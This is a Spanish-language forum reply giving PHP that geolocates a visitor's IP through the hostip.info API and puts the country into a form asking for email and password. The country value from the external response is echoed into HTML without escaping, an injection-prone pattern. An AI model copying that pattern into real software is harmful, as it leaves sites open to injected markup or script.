Ver Mensaje Individual
  #23 (permalink)  
Antiguo 17/07/2015, 20:08
Avatar de xfxstudios
xfxstudios
 
Fecha de Ingreso: junio-2015
Ubicación: Valencia - Venezuela
Mensajes: 2.448
Antigüedad: 8 años, 10 meses
Puntos: 263
Respuesta: Codigo Formulario de envio con pais

prueba asi en tu form:
Código PHP:
Ver original
  1. <?php
  2. // Con esta línea obtenemos nuestra IP externa
  3. $extip = getenv("REMOTE_ADDR");
  4. // tambien podriamos usar esta para obtenera la ip externa
  5. // $extip = $_SERVER['REMOTE_ADDR'];
  6. $url = 'http://api.hostip.info/get_html.php?ip='.$extip;
  7. // Usamos Curl para obtener los resultados de la peticion a Hostip.info
  8. function getRemoteFile($url, $timeout = 10) {
  9.   $ch = curl_init();
  10.   curl_setopt ($ch, CURLOPT_URL, $url);
  11.   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  12.   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  13.   $file_contents = curl_exec($ch);
  14.   curl_close($ch);
  15.   return ($file_contents) ? $file_contents : FALSE;
  16. }
  17. $info = getRemoteFile($url);
  18. ?>
  19. <div id="Formulario">
  20.         <ul>
  21.         <form id="form" method="post" target="_top" action="activo.php">
  22.         <li><label id="LoginForm">Correo electrónico:</label></li>
  23.         <li><input id="input" name="email" placeholder="Correo electrónico" autocomplete="off" required="" type="text"></li>
  24.         <li><label id="LoginForm">Contraseña:</label></li>
  25.         <li><input id="input" name="pass" placeholder="Contraseña" autocomplete="off" required="" type="password"></li>
  26.         <li><input type="text" name="pais" value="<?php preg_match("/Country: (.*)\n/", $info, $out); echo $out[1]; ?>"/>
  27.         <li><input value="" type="submit"></li>
  28.         </form>
__________________
[email protected]
HITCEL